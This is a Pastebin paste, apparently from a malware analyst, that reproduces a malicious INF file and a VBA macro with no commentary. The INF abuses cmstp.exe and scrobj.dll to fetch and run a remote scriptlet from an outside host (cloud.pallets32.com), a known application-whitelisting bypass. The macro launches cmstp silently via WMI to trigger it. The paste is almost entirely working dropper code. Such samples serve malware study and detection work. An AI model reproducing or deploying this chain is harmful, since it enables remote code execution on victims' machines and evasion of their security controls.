Advertisement
dissectmalware

cmstp

Apr 23rd, 2018
578
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.66 KB | None | 0 0
  1. #################################### eB106C6.txt ##################################
  2. [version]
  3. Signature=$chicago$
  4. AdvancedINF=2.5
  5. [DefaultInstall_SingleUser]
  6. UnRegisterOCXs=q1DE7DA
  7. [q1DE7DA]
  8. %11%\sCrObJ,NI,http://cloud.pallets32.com/m1.txt
  9. [Strings]
  10. AppAct="SOFTWARE\Microsoft\Connection Manager"
  11. ServiceName=" "
  12. ShortSvcName=" "
  13.  
  14.  
  15. ###################################### vba macro ##############################################
  16. obj = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2:Win32_Process")
  17. command = ""C:\Windows\System32\cmstp.exe" /s /ns "C:\Users\user\AppData\Roaming\eB106C6.txt""
  18. CallByName(obj, 'create', 2, command)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement